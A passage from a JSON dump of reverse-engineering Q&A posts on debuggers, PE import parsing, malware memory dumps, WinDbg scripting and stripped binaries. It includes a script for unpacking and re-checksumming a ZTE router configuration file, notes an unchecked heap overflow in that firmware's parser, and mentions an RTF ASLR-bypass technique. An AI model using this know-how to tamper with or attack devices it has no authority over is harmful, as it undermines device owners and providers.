for(var8; var8 &lt;= ebpc-&gt;offset4; var8++) \n            {\n                DWORD a = var8 * 0xF4;\n                PEDX ebpC = ebpc;\n                ebpC-&gt;offset0 += a;\n                size_t size2 = fwrite(ebpC-&gt;first, sizeof(char), sizeof(ebpC-&gt;first), file);\n                size_t size3 = fwrite(ebpC-&gt;offset64, sizeof(char), sizeof(ebpC-&gt;offset64), file);\n                size_t size4 = fwrite(ebpC-&gt;offsetC8, sizeof(char), sizeof(ebpC-&gt;offsetC8), file);\n                size_t size5 = fwrite(&amp;ebpC-&gt;offsetE8, sizeof(DWORD), 0x1, file);\n                size_t size6 = fwrite(&amp;ebpC-&gt;offsetEC, sizeof(DWORD), 0x1, file);\n\n                DWORD var14 = ebpC-&gt;offsetEC;\n                char* var10 = ebpC-&gt;offsetF0;\n\n                if(var14 &gt;= 0)\n                {\n                    DWORD var18 = 0;\n                    for(var18; var18 &lt;= var14; var18++)\n                    {\n                        DWORD counter = (var18 * 0x14);\n                        //     ptr , size, count, file\n                        size_t size7 = fwrite((counter + var10), sizeof(char*), 0x1, file);\n                        size_t size8 = fwrite(var10 +counter + 0x4, sizeof(char*), 0x1, file);\n                        size_t size9 = fwrite(var10 + counter + 0x8, sizeof(char*), 0x1, file);\n                        size_t sizeA = fwrite(var10 + counter + 0xC, sizeof(char*), 0x1, file);\n                        size_t sizeB = fwrite(var10 + counter + 0x10, sizeof(char*), 0x1, file);\n                    }\n                }\n            } \n        }\n        fclose(file);\n        return true;\n    }\n    return false;\n}\n</code></pre>\n",
        "Title": "OllyDBG translate ASM to C",
        "Tags": "|disassembly|ollydbg|",
        "Answer": "<p>the assembly in question has some structure defined and manipulates some members of the structure  </p>\n\n<p>the code in c/c++ could look something similar to whats shown in source window and the disassembly that you are working with is highlighted in blue \nin the screen shot below</p>\n\n<p><a href=\"https://i.stack.imgur.com/xtkrc.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/xtkrc.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "13383",
        "CreationDate": "2016-08-27T20:37:08.923",
        "Body": "<p>How can I set a breakpoint and get the value of the <code>EAX</code> register with IDApython?</p>\n\n<p>I want to set a breakpoint, for example at address <code>00b27223</code>, and at each break before execution of that specific address I want to get the value of the <code>EAX</code> register as text.</p>\n\n<p><a href=\"https://i.stack.imgur.com/LQhPa.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/LQhPa.png\" alt=\"example\"></a></p>\n",
        "Title": "How can I set breakpoint and get value of a register with IDApython",
        "Tags": "|ida|debugging|idapython|debuggers|ida-plugin|",
        "Answer": "<p>I can think of two methods to achieve this:</p>\n\n<ol>\n<li>Using <code>RunTo</code>.</li>\n<li>Setting a breakpoint, hooking debugger events and implementing <code>dbg_bpt</code></li>\n</ol>\n\n<h1>1. Using <code>RunTo</code></h1>\n\n<p>This is nearly trivial to do, but does not give the same amount of control as the second approach. It might be better for quick and dirty type of solutions, if that's what you're after.</p>\n\n<p>Calling <code>idc.RunTo(ea)</code> will execute the process until an <code>ea</code> is reached, allowing you to then call <code>idc.GetRegValue(name)</code> to get the value of <code>EAX</code>.</p>\n\n<p>Certain conditions (like an exception thrown or a different breakpoint being hit) will cause <code>RutTo</code> to return before the provided <code>ea</code> is reached. You could then call <code>idc.GetDebuggerEvent</code> to figure out what happened, but if you're gonna do that I suggest switching to the second approach.</p>\n\n<p>Note <code>RunTo</code> will also start up a process if there's no running process.</p>\n\n<h1>2. Setting a breakpoint, hooking debugger events and implementing <code>dbg_bpt</code></h1>\n\n<p>This is the safer and would be my recommended approach, while being harder to implement it allows properly handling other breakpoints and more control.</p>\n\n<p>For this, you'll have to do three things:</p>\n\n<ol>\n<li>Set up a breakpoint at given address.</li>\n<li>Monitor for the breakpoint's trigger.</li>\n<li>And finally act upon it.</li>\n</ol>\n\n<h2>Set up a breakpoint at given address</h2>\n\n<p>The most basic method of achieving this is by calling the <code>idc.AddBpt(ea)</code>, which sets a software on execution breakpoint at that address.</p>\n\n<p>Additional methods you could use include:</p>\n\n<ol>\n<li><code>idc.AddBptEx(ea, size, bpttype)</code> to have more control on the type of breakpoint you're creating.</li>\n<li><code>idc. SetBptAttr(address, bptattr, value)</code> to set the breakpoint's available attributes.</li>\n<li><code>idc.SetBptCnd(ea, cnd)</code> / <code>idc. SetBptCndEx(ea, cnd, is_lowcnd)</code> to set the breakpoint's trigger condition.</li>\n</ol>\n\n<p>Read the documentation for the exact details.</p>\n\n<h2>Monitor for the breakpoint's trigger</h2>\n\n<p>For that, you'll need to install a Debugger Hooking class (any class that inherits <code>idaapi.DBG_Hooks</code>), which implements the <code>dbg_bpt(tid, ea)</code> method, which describe the thread id and linear address in which the breakpoint triggered. Returning 0 from <code>dbg_bpt</code> should prevent IDA from notifying the user it was triggered (assuming you'll handle it internally).</p>\n\n<p>You'll have to instantiate your class and call the instance's <code>Hook</code> and <code>Unhook</code> methods for it to actually function. Please note it's better practice to install the hooks before creating the breakpoint.</p>\n\n<h2>And finally act upon it</h2>\n\n<p>While the debugger is running, you can call <code>idc.GetRegValue(name)</code> providing the register name to receive it's immediate value at that time.</p>\n"
    },
    {
        "Id": "13385",
        "CreationDate": "2016-08-28T04:13:30.167",
        "Body": "<p>I want to know how to find out if an imported function in a PE header is being imported by ordinal rather than by name because I came across an executable that does that. Here is the DLL that imports all functions by ordinal except for one (from <code>WS2_32.dll</code>):</p>\n\n<p>Screenshot from program called <code>ExeinfoPE</code>\n<a href=\"https://i.stack.imgur.com/W3zGE.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/W3zGE.png\" alt=\"enter image description here\"></a></p>\n\n<p>This is what I'm doing to get to the imports:</p>\n\n<ol>\n<li>Read the PE header.</li>\n<li>Loop over data directories and find <code>IMAGE_DIRECTORY_ENTRY_IMPORT</code>.</li>\n<li><p>Once <code>IMAGE_DIRECTORY_ENTRY_IMPORT</code> is found, loop over <code>IMAGE_IMPORT_DESCRIPTORS</code>.</p></li>\n<li><p>On each <code>IMAGE_IMPORT_DESCRIPTORS</code>, extract all the functions.</p></li>\n</ol>\n\n<p>Here is how I extract the functions (only works for functions imported by name):</p>\n\n<pre><code>void extractFunctions(IMAGE_IMPORT_DESCRIPTOR dll, uintptr_t sectionStartAddrRaw) {\n    uintptr_t selectedFunctionImport = dll.Characteristics + sectionStartAddrRaw;\n    uintptr_t selectedFunctionImportIAT = dll.FirstThunk + sectionStartAddrRaw;\n\n    while (true) {\n        IMAGE_THUNK_DATA thunkPtrToImportByName = *(IMAGE_THUNK_DATA*)selectedFunctionImport;\n        selectedFunctionImport += sizeof(IMAGE_THUNK_DATA); //Next loop we'll loop over to the next IMAGE_THUNK_DATA.\n        if (thunkPtrToImportByName.u1.Function == NULL) { //Check if we need to exit the looping since there are no more functions to import.\n            break;\n        }\n\n        IMAGE_IMPORT_BY_NAME* functionImport = (IMAGE_IMPORT_BY_NAME*)(thunkPtrToImportByName.u1.Function + sectionStartAddrRaw);\n\n        Function function;\n        function.name = std::string(functionImport-&gt;Name); //Access violation here if the function needs to be imported by ordinal, instead of by name.\n        function.locationInIAT = selectedFunctionImportIAT;\n        function.locationInOriginalIAT = selectedFunctionImportIAT - sectionStartAddrRaw + header.OptionalHeader.ImageBase;\n\n        selectedFunctionImportIAT += sizeof(IMAGE_THUNK_DATA);\n        dlls.back().functions.push_back(function); //We assume that IMAGE_IMPORT_DESCRIPTOR dll is the last one in the dlls vector.]\n    }\n}\n</code></pre>\n\n<p>I noticed that every function Hint/Ordinal inside <code>ExeinfoPE</code> that is imported by name is <code>0</code>. However, in my code <code>functionImport-&gt;Hint</code> is always set to something, regardless if the function is supposed to be imported by name or ordinal.</p>\n\n<p>The <code>IMAGE_IMPORT_DESCRIPTOR</code> cannot have information on whether the functions inside that <code>IMAGE_IMPORT_DESCRIPTOR</code> are imported by ordinal or name, since one of the functions is imported by name and all of the others are imported by ordinal. So, I'm all out of ideas here.</p>\n\n<p>Here are the data structures I'm using for your reference so no need to Google:</p>\n\n<pre><code>typedef struct _IMAGE_THUNK_DATA {\n    union {\n        uint32_t* Function;             // address of imported function\n        uint32_t  Ordinal;              // ordinal value of function\n        PIMAGE_IMPORT_BY_NAME AddressOfData;        // RVA of imported name\n        DWORD ForwarderStringl              // RVA to forwarder string\n    } u1;\n} IMAGE_THUNK_DATA, *PIMAGE_THUNK_DATA;\n\ntypedef struct _IMAGE_IMPORT_DESCRIPTOR {\n    union {\n        DWORD   Characteristics; /* 0 for terminating null import descriptor  */\n        DWORD   OriginalFirstThunk; /* RVA to original unbound IAT */\n    } DUMMYUNIONNAME;\n\n    DWORD   TimeDateStamp;  /* 0 if not bound,\n    * -1 if bound, and real date\\time stamp\n    *    in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT\n    * (new BIND)\n    * otherwise date/time stamp of DLL bound to\n    * (Old BIND)\n    */\n    DWORD   ForwarderChain; /* -1 if no forwarders */\n    DWORD   Name;\n    /* RVA to IAT (if bound this IAT has actual addresses) */\n    DWORD   FirstThunk;\n} IMAGE_IMPORT_DESCRIPTOR,*PIMAGE_IMPORT_DESCRIPTOR;\n\ntypedef struct _IMAGE_IMPORT_BY_NAME {\n    WORD    Hint;\n    BYTE    Name[1];\n} IMAGE_IMPORT_BY_NAME,*PIMAGE_IMPORT_BY_NAME;\n</code></pre>\n",
        "Title": "How to know if PE Header import function is being imported by Ordinal rather than by name",
        "Tags": "|windows|pe|",
        "Answer": "<p>Extracted from <a href=\"http://www.pelib.com/resources/luevel.txt\" rel=\"nofollow\">http://www.pelib.com/</a>:</p>\n\n<blockquote>\n  <p>First, the bit <code>IMAGE_ORDINAL_FLAG</code> (that is: the <code>MSB</code>) of the\n  <code>IMAGE_THUNK_DATA</code> in the arrays can be set, in which case there is no\n  symbol-name-information in the list and the symbol is imported purely by\n  ordinal. You get the ordinal by inspecting the lower word of the\n  <code>IMAGE_THUNK_DATA</code>.</p>\n  \n  <p><code>IMAGE_THUNK_DATA</code>-array; walk down this array (it is be\n  <code>0</code>-terminated), and each member will be the RVA of a\n  <code>IMAGE_IMPORT_BY_NAME</code> (unless the hi-bit is set in which case you\n  don't have a name but are left with a mere ordinal).</p>\n</blockquote>\n\n<p>A more detailed explanation extracted from a <a href=\"http://fossies.org/linux/volatility/volatility/plugins/overlays/windows/pe_vtypes.py\" rel=\"nofollow\">volatility plugin</a> (lines 363-367):</p>\n\n<pre><code>350  while 1:\n351      thunk = obj.Object('_IMAGE_THUNK_DATA',\n352                 offset = self.obj_parent.DllBase + self.OriginalFirstThunk +\n353                 i * self.obj_vm.profile.get_obj_size('_IMAGE_THUNK_DATA'),\n354                 vm = self.obj_native_vm)\n\n355      # We've reached the end when the element is zero \n357      if thunk == None or thunk.AddressOfData == 0:\n358          break\n359      o = obj.NoneObject(\"Ordinal not accessible?\")\n361      n = obj.NoneObject(\"Imported by ordinal?\")\n362      f = obj.NoneObject(\"FirstThunk not accessible\")\n\n363      # If the highest bit (32 for x86 and 64 for x64) is set, the function is \n365      # imported by ordinal and the lowest 16-bits contain the ordinal value. \n366      # Otherwise, the lowest bits (0-31 for x86 and 0-63 for x64) contain an \n367      # RVA to an _IMAGE_IMPORT_BY_NAME struct. \n368      if thunk.OrdinalBit == 1:\n369          o = thunk.Ordinal &amp; 0xFFFF\n370      else:\n371          iibn = obj.Object(\"_IMAGE_IMPORT_BY_NAME\",\n372                            offset = self.obj_parent.DllBase +\n373                            thunk.AddressOfData,\n374                            vm = self.obj_native_vm)\n375          o = iibn.Hint\n376          n = iibn.Name\n377      # See if the import is bound (i.e. resolved)\n379      first_thunk = obj.Object('_IMAGE_THUNK_DATA',\n380                      offset = self.obj_parent.DllBase + self.FirstThunk +\n381                      i * self.obj_vm.profile.get_obj_size('_IMAGE_THUNK_DATA'),\n382                      vm = self.obj_native_vm)\n383      if first_thunk:\n384          f = first_thunk.Function.v()\n385      yield o, f, str(n or '')\n387      i += 1\n</code></pre>\n"
    },
    {
        "Id": "13388",
        "CreationDate": "2016-08-28T07:38:43.553",
        "Body": "<p>I am analyzing a binary that is injecting code into another process (i.e., svchost.exe) to make the debugging more tedious. I can attach the new process to a debugger (e.g., ollydbg or the one featured by IDA Pro) and read the assembly code. However, I was wondering whether it is possible or not to take like a snapshot of this so I can later on analyze the code offline (as any other binary).</p>\n\n<p>Thanks!</p>\n",
        "Title": "Save injected code",
        "Tags": "|debugging|injection|memory-dump|",
        "Answer": "<p>So your definition of a \"snapshot\" is somewhat vague. Hopefully my answer matches your idea:</p>\n\n<p>Did you already take a look at the <a href=\"http://low-priority.appspot.com/ollydumpex/\" rel=\"nofollow noreferrer\">OllyDumpEx Plugin</a>?</p>\n\n<blockquote>\n  <p>This plugin is process memory dumper for OllyDbg and Immunity\n  Debugger. Very simple overview: OllyDumpEx = OllyDump + PE Dumper -\n  obsoleted + useful features</p>\n</blockquote>\n\n<p>Of course you can simply dump the raw memory as described <a href=\"https://stackoverflow.com/questions/34341726/how-to-dump-memory-into-raw-file-in-ollydbg\">here</a> with \n<code>ollydbg</code> itself.</p>\n"
    },
    {
        "Id": "13391",
        "CreationDate": "2016-08-29T10:39:29.763",
        "Body": "<p>I just got a Zte <code>ZXHN F660 GPON ONT Wireless</code> router with my optic fiber internet provided by my telecom provider.</p>\n<p>My first discovery was that the <code>eth</code> Lan ports are bricked wich\nmeans I can only use one Lan at time and there's a <code>telnet</code> default user and password i cannot remove or change - well i can do but only provisory: <br> I was able to bypass the problem using telnet and busybox console but the fix is provisory unfortunately. Each time the router reboots the old config gets installed, wich is normal I think.</p>\n<p>I decided to investigate a bit more and made a config backup threw the webui wich gives me a <code>.bin</code> file. Using binwalk i saw that there is 3 data blocks compressed with <code>zlib</code>. I made a quick and dirty script in python to unpack them and concatenate them in a <code>XML</code> file wich provides all the router's setup.</p>\n<p><strong>I managed to modify and repack it, but here's the problem:</strong> the header contain some informations that make the config upgrade fail each time. With an hex editor I noticed that before each compressed <code>zlib</code> block there is the hex values of the pack inflated and deflated, so I was able to correct them. There's also in the header a <code>CRC32</code> of the concatenation of each <code>zlib</code> compressed packs without headers, so I was also able to correct it when I repack the new file. <br> But next to it there's what I believe is an other <code>CRC32</code>, but I can't find out what that <code>CRC32</code> is about so any help is welcome to this point.</p>\n<p>I've downloaded the <code>httpd</code> and <code>cspd</code> files from my router and try to disassemble them using IDA, but the loops I find in gives me the seasick and it's beyond my actual skills so that would be great to get some help and explaination about how to repack the <code>xml</code> file into the <code>bin</code> file.</p>\n<p>Thanks for any help or advice.</p>\n<p>Here the first offsets of my dummy <code>config.bin</code> file:</p>\n<pre><code>Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F\n00000000  04 03 02 01 00 00 00 00 00 00 00 04 46 36 36 30  ............F660\n00000010  01 02 03 04 00 00 00 00 00 02 37 AB 00 00 36 79  ..........7\u00ab..6y\n00000020  00 01 00 00 97 10 5B C9 6E 6F 53 12 00 00 00 00  ....\u2014.[\u00c9noS.....\n00000030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n00000040  00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00  ................\n00000050  00 00 16 B8 00 00 17 00 78 DA ED 3D 5B 77 DB 38  ...\u00b8....x\u00da\u00ed=[w\u00db8\n00000060  73 EF FD 15 69 DA 3E 75 D7 E6 4D F4 E5 7C DB 53  s\u00ef\u00fd.i\u00da>u\u00d7\u00e6M\u00f4\u00e5|\u00dbS\n00000070  99 94 1D 9D 95 14 46 94 AD AF FB E2 03 53 B0 CC  \u2122\u201d..\u2022.F\u201d.\u00af\u00fb\u00e2.S\u00b0\u00cc\n00000080  13 1A 64 49 CA 97 FD F5 05 A8 1B 05 02 20 48 C9  ..dI\u00ca\u2014\u00fd\u00f5.\u00a8... H\u00c9\n00000090  B2 94 D2 49 6C 47 33 04 06 83 B9 01 1C 60 FE 61  \u00b2\u201d\u00d2IlG3..\u0192\u00b9..`\u00fea\n000000A0  5F FD D7 BF FC 63 F4 10 7C 41 E0 19 FE F1 D5 BE  _\u00fd\u00d7\u00bf\u00fcc\u00f4.|A\u00e0.\u00fe\u00f1\u00d5\u00be\n000000B0  BA 02 09 FC FA 65 18 BE 5A E1 0C A5 7F 7C 55 BF  \u00ba..\u00fc\u00fae.\u00beZ\u00e1.\u00a5.|U\u00bf\n000000C0  62 04 FC DF 2F 83 F0 8F AF 0A F9 8F DD 5F 20 77  b.\u00fc\u00df/\u0192\u00f0.\u00af.\u00f9.\u00dd_ w\n000000D0  AF BB E8 31 FC FA E5 05 04 18 A4 E2 3F 9A A2 64  \u00af\u00bb\u00e81\u00fc\u00fa\u00e5...\u00a4\u00e2?\u0161\u00a2d\n000000E0  FF 94 EC 67 DB 30 F0 67 F8 CB 50 8C 6B F2 F3 EB  \u00ff\u201d\u00ecg\u00db0\u00f0g\u00f8\u00cbP\u0152k\u00f2\u00f3\u00eb\n000000F0  29 7E FC 14 37 46 7E E0 4E 37 BA 1E B7 07 76 BE  )~\u00fc.7F~\u00e0N7\u00ba.\u00b7.v\u00be\n00000100  63 8D DF F1 9D 0F 5F 07 F8 B7 45 D7 DD 1B FB 64  c.\u00df\u00f1.._.\u00f8\u00b7E\u00d7\u00dd.\u00fbd\n00000110  6C AB 59 EB 2B 1C D2 DC E8 3D 5A E2 18 05 A8 65  l\u00abY\u00eb+.\u00d2\u00dc\u00e8=Z\u00e2..\u00a8e\n00000120  5B 20 F2 FC F4 7D 81 41 3D 3F 8A FD E9 14 C6 1D  [ \u00f2\u00fc\u00f4}.A=?\u0160\u00fd\u00e9.\u00c6.\n00000130  04 1E 02 B8 81 B2 18 C0 92 34 B5 9C 34 4D 48 9A  ...\u00b8.\u00b2.\u00c0\u20194\u00b5\u01534MH\u0161\n</code></pre>\n<p>Here a copy of a dummy <code>config.bin</code>, <code>cspd</code> and <code>httpd</code> files of my router:</p>\n<p><a href=\"http://s000.tinyupload.com/?file_id=28971449732434837128\" rel=\"noreferrer\">config.bin,cspd,httpd files</a></p>\n",
        "Title": "Zte Reverse engineering config.bin file problem",
        "Tags": "|ida|disassembly|binary-analysis|unpacking|packers|",
        "Answer": "<p>The second CRC is the CRC of the header started from <code>0x10</code> to <code>0x28</code>. The following script checks the config file based on the <code>dbcCfgFileDecry</code> function, which verify and decompress the config file from offset <code>0x10</code>.</p>\n\n<pre><code>import sys\nimport binascii\nimport struct\nimport zlib\n\nif (len(sys.argv) &lt; 1):\n    print 'usage: check_config.py config_file'\n\ncf = open(sys.argv[1], 'rb')\nh = cf.read(0x4c)\n\n#--------------------\n# read the header\nif (h[0:4] != '\\x04\\x03\\x02\\x01'):\n    print 'Invalid magic'\n    sys.exit(-1)\n\nif (h[0x10:0x14] != '\\x01\\x02\\x03\\x04'):\n    print 'Invalid magic'\n    sys.exit(-1)\n\nh2 = h[0x10:]\nhcrc_calc = binascii.crc32(h2[0:0x18])&amp;0xffffffff\nhcrc_store = struct.unpack('!L', h2[0x18:0x1c])[0]\nprint 'calc: %x - stored: %x'%(hcrc_calc, hcrc_store)\nif (hcrc_calc != hcrc_store):\n    print 'Invalid header CRC'\n    sys.exit(-2)\n\nblock_buffer_size = struct.unpack('!L', h2[0x10:0x14])[0]\n# used to allocate memory for temp buffers\nprint 'block buffer size: %x'%(block_buffer_size)\n\n#--------------------\n# read the blocks\nfout = open('%s.xml'%(sys.argv[1]), 'wb')\ncumulate_crc = 0\nwhile (True):\n    bheader = cf.read(0x0c)\n    if (len(bheader) == 0):\n        break\n    block_size = struct.unpack('!L', bheader[0x04:0x08])[0]\n    print 'block size: %x'%(block_size)\n\n    # read the whole block to previously allocated buffer\n    # Possible heap based buffer overflow, because the size was not checked in\n    # the dbcCfgFileDecry function!\n    block = cf.read(block_size)\n    cumulate_crc = binascii.crc32(block, cumulate_crc)&amp;0xffffffff\n    decompressed = zlib.decompress(block)\n    fout.write(decompressed)\n\nstored_cumulate_crc = struct.unpack('!L', h2[0x14:0x18])[0]\nprint 'cumulate crc: calc: %x - stored: %x'%(cumulate_crc, stored_cumulate_crc)\nif (cumulate_crc != stored_cumulate_crc):\n    print 'Invalid cumulate CRC'\n    sys.exit(-3)\n\ncf.close()\nfout.close()\n</code></pre>\n\n<p>As a side note, the <code>dbcCfgFileDecry</code> function contains a heap-based buffer overflow vulnerability, because it did not check whether the current block will fit into the allocated buffer.</p>\n"
    },
    {
        "Id": "13398",
        "CreationDate": "2016-08-30T14:07:11.937",
        "Body": "<p>Few weeks ago, I started reverse engineering libraries and binaries from a commercial copyrighted product (a game). And, I would like to post the code on an open source platform like GitHub.</p>\n<p>I've searched a lot on the Internet, and found that in some cases it was legal to share the reversed-material, and in other cases illegal.</p>\n<p>Is it legal to post reverse-engineered code from a copyrighted product on an open source platform?</p>\n",
        "Title": "Is reverse engineering legal?",
        "Tags": "|decompilation|law|",
        "Answer": "<p>Disclaimer: IANAL. Usually the answer is \u201cit depends.\u201d Are you creating a derivative commercial game? Probably it is not so legal. Are you doing that to be \u201ccompatible\u201d with that game? It's legal. Are you just researching the internals of the game? It's legal.</p>\n<p>For example: I know people who ported game engines by reverse engineering and even copying parts by decompilation &amp; adaptation and, except when they tried to distribute copyrighted things (libraries, graphics, etc\u2026), it was considered legal. Also, please remember that if you're using, say, SAMBA in MacOSX/Linux or Open/LibreOffice, you're actually using code that was reverse engineered from their commercial counterparts and published in open source codes.</p>\n<p>In short: derivative products or anything with the aim of damaging a company or getting an economic benefit, is probably not so legal. Research, compatibility and porting is.</p>\n"
    },
    {
        "Id": "13400",
        "CreationDate": "2016-08-30T18:28:39.583",
        "Body": "<p>I was working with a RTF file and I found the string \"otkloadr.WRAssembly.1\" present inside the file in plain sight.</p>\n\n<p>I know that many exploits use this for loading the msvcr71.dll (non-ASLR module).</p>\n\n<p>My suspicion is the file I'm working with is malicious. Does this have any good use inside a office file or is just plain malicious?</p>\n",
        "Title": "Why is otkloadr.WRAssembly.1 reference present in a office file?",
        "Tags": "|malware|exploit|software-security|msvc|",
        "Answer": "<p>Since RTF is a mostly textual file format, noticing plaintext strings in it is not unheard of, and shouldn't be treated as cause for suspicion. </p>\n\n<p><code>otkloadr.dll</code> is a library used for Visual Studio / office integration, as part of a package called \"Microsoft Visual Studio Tools for the Microsoft Office System\".</p>\n\n<p>That package is used to incorporate Visual Studio components inside Office documents (such as rtf files), and to generate/manipulate Office files programmatically from within Microsoft development environments.</p>\n\n<p>It might be used in an rtf document generated automatically directly by Microsoft-provided development tools or by a third party tool using Microsoft's office integration library (most third party office related manipulation tools are using this internally, and usually simply provide a different interface, probably in a different programming language).</p>\n\n<p>It might also be used in an rtf using one of the advanced features \"Microsoft Visual Studio Tools for the Microsoft Office System\" brought into Office, or was converted from a newer format that did.</p>\n\n<p>Inspecting the file format is needed to reach these conclusions with a higher degree of certainty. Since RTF is as mentioned a textual format this shouldn't be too complicated. Additionally, googling for <a href=\"https://www.google.co.il/search?q=rtf%20file%20parser\" rel=\"nofollow\">RTF file parser</a> yields multiple promising results.</p>\n"
    },
    {
        "Id": "13405",
        "CreationDate": "2016-09-01T08:13:33.450",
        "Body": "<p>Do someone know a windbg command to display the RVA of a certain instruction within it's module?</p>\n\n<p>Right now, if I want to find the RVA of the current instruction, let's say, the RVA of that <code>test eax, eax</code>:</p>\n\n<pre><code>16237915 8b4e0c          mov     ecx,dword ptr [esi+0Ch]\n16237918 e8633ff0ff      call    NPSWF32!BrokerMainW+0x1b0a4 (1613b880)\n1623791d 85c0            test    eax,eax\n1623791f 7507            jne     NPSWF32!BrokerMainW+0x11714c (16237928)\n16237921 8bce            mov     ecx,esi\n16237923 e80838fdff      call    NPSWF32!BrokerMainW+0xea954 (1620b130)\n16237928 8b4810          mov     ecx,dword ptr [eax+10h]\n</code></pre>\n\n<p>I have to find first the base address of the module:</p>\n\n<pre><code>0:000&gt; lm a 1623791d \nBrowse full module list\nstart    end        module name\n15c70000 16b53000   NPSWF32    (export symbols)     \n</code></pre>\n\n<p>And calculate the RVA myself:\n<code>1623791d - 15c70000 = 5C791D</code></p>\n\n<p>My question, is there a windbg command that will give me this result immediately.</p>\n\n<p>Thanks in advance!</p>\n",
        "Title": "WinDbg - RVA of current instruction",
        "Tags": "|disassembly|windows|debugging|debuggers|windbg|",
        "Answer": "<p>put this is some txt file and save it somewhere like <strong>c:\\myrva.txt</strong></p>\n\n<pre><code>.foreach ( place { lm1ma ${$arg1} } ){ .printf \"Rva for input is %x\\n\", ${$arg1}-${place} }\n</code></pre>\n\n<p>and use it like </p>\n\n<pre><code>0:000&gt; $$&gt;a&lt; c:\\\\rva.txt @edx\nRva for input is 470b4\n0:000&gt; ? edx\nEvaluate expression: 1997238452 = 770b70b4\n0:000&gt; $$&gt;a&lt; c:\\\\rva.txt .\nRva for input is a04fa\n0:000&gt; ? .\nEvaluate expression: 1997604090 = 771104fa\n0:000&gt; $$&gt;a&lt; c:\\\\rva.txt 7711050a\nRva for input is a050a\n</code></pre>\n\n<p>Well if you think this should be a regular windbg command you can write your own extension<br>\nand do !rva <br>\nwith engextcpp framework this should take no more than 5 lines of code as below </p>\n\n<pre><code>#include &lt;engextcpp.cpp&gt;\nclass EXT_CLASS : public ExtExtension {\npublic:\n    EXT_COMMAND_METHOD(rva);\n};\nEXT_DECLARE_GLOBALS();\nEXT_COMMAND( rva, \"rva\", \"{;e,d=@$ip;!rva;}\" ) {\n    ULONG64 inaddr = GetUnnamedArgU64 (0);\n    ULONG ModIndex = NULL;\n    ULONG64 Modbase = NULL;\n    m_Symbols-&gt;GetModuleByOffset(inaddr,0,&amp;ModIndex,&amp;Modbase);\n    Out(\"Rva For Inaddress %I64x is %I64X\\n\" ,inaddr ,(inaddr - Modbase));    \n}\n</code></pre>\n\n<p>compiled and linked with </p>\n\n<pre><code>cl /LD /nologo /W4 /Ox  /Zi /EHsc rva.cpp /link /EXPORT:DebugExtensionInitialize /Export:rva /Export:help /RELEASE %linklibs%\n</code></pre>\n\n<p>and execute happily it takes one argument an expression and by default the expression is current instruction pointer viz $ip </p>\n\n<p>extension auto loaded during start of session</p>\n\n<pre><code>windbg -c \".load rva\" calc\n</code></pre>\n\n<p>and happy rvaing for ever</p>\n\n<pre><code>0:000&gt; !rva\nRva For Inaddress 776e04f6 is A04F6\n0:000&gt; !rva @edx\nRva For Inaddress 776870b4 is 470B4\n0:000&gt; !rva ntdll\nRva For Inaddress 77640000 is 0\n0:000&gt; !rva calc\nRva For Inaddress 440000 is 0\n0:000&gt; !rva calc!WinMain\nRva For Inaddress 441635 is 1635\n\neven some obscure unrealistic expression will work\n0:000&gt; !rva @@c++( ( @$proc )-&gt;Ldr)\nRva For Inaddress 77717880 is D7880\n</code></pre>\n"
    },
    {
        "Id": "13408",
        "CreationDate": "2016-09-01T23:09:10.903",
        "Body": "<p>Recently I worked on a Linux program which has all of its symbols stripped. Opening it with IDA resulted in none of its functions identified. </p>\n\n<p>Thus I tried to extract any usable information from the executable file with the <code>strings</code> and <code>file</code> commands, but these sadly found nothing.</p>\n\n<p>I know about the FLIRT technology in IDA, but it is based on knowing the version of the static library so it can use the correct signature file. In this case it seems we have no any version information for the used <code>glibc</code> or other libraries, so what should we do now?</p>\n\n<pre><code>$ file stripped\nELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, stripped\n</code></pre>\n\n<p>With the outpuf of <code>file</code> as shown above, can I retrieve more details from this? Or is the solution that we can only recognize it via our experience?</p>\n",
        "Title": "Recognize the library functions of statically linked executable file in IDA Pro",
        "Tags": "|binary-analysis|malware|linux|elf|",
        "Answer": "<p>Yet there is statistics, which can be used to find the basic library functions from which you'll be able to find other functions. E.g. there's almost a zero probability that the code doesn't allocate any memory and doesn't do any string manipulation. So you can count XREFS to all the functions and be sure that those which are called most(and called from all the parts of the binary) are the library functions. After you know where is malloc, you can find free, after you have malloc and free you can find other library functions which use malloc/free.\nSo, if you're ready to spend your time, you can find library functions yourself.</p>\n"
    },
    {
        "Id": "13409",
        "CreationDate": "2016-09-01T23:09:12.457",
        "Body": "<p>It's been 4 nights I'm struggling decompiling this one. It's an Android native library that I ran through IDA to get C code.</p>\n\n<p>Java signature :</p>\n\n<pre><code>byte[] resultArray = new byte[-2 + dataArray.length];\ndataLength= dataArray.length;\ndecryptData(byte[] resultArray, byte[] dataArray, int dataLength, int enumValue /* in our case should be 01 */, long paramLong /* dunno */)\n</code></pre>\n\n<p>The disassembly in C :</p>\n\n<pre><code>//----- (00001354) --------------------------------------------------------\nint __fastcall doXor(int result, int a2, int a3, int a4, int a5, int a6, char a7)\n{\n  int v7; // r5@1\n  int v8; // r6@1\n  int v9; // r7@1\n  int v10; // r1@1\n  char v11; // lr@3\n  char v12; // t1@3\n  char v13; // t1@3\n\n  v7 = a2 - 1;\n  v8 = a3 - 1;\n  v9 = result - 1;\n  v10 = a2 + a5 - 1;\n  while ( v7 != v10 )\n  {\n    v12 = *(_BYTE *)(v7++ + 1);\n    v11 = v12;\n    v13 = *(_BYTE *)(v8++ + 1);\n    *(_BYTE *)(v9++ + 1) = v11 ^ v13;\n  } // ====== so far this one just does a xor in the full array\n  //   ===&gt;what does this one do?\n  *(_BYTE *)(result + a5) = *(_BYTE *)(a3 + a5) ^ a7;\n\n  return result;\n}\n\n//----- (00001384) --------------------------------------------------------\nint getNumber()\n{\n  __int32 v0; // r0@1\n\n  v0 = time(0);\n  srand48(v0);\n  return (unsigned __int8)lrand48();\n}\n\n//----- (00001398) --------------------------------------------------------\nint __fastcall getKey(void *a1, unsigned int a2, unsigned __int8 a3, int a4, char a5)\n{\n  void *v5; // r8@1\n  unsigned int v6; // r7@1\n  unsigned int v7; // r10@1\n 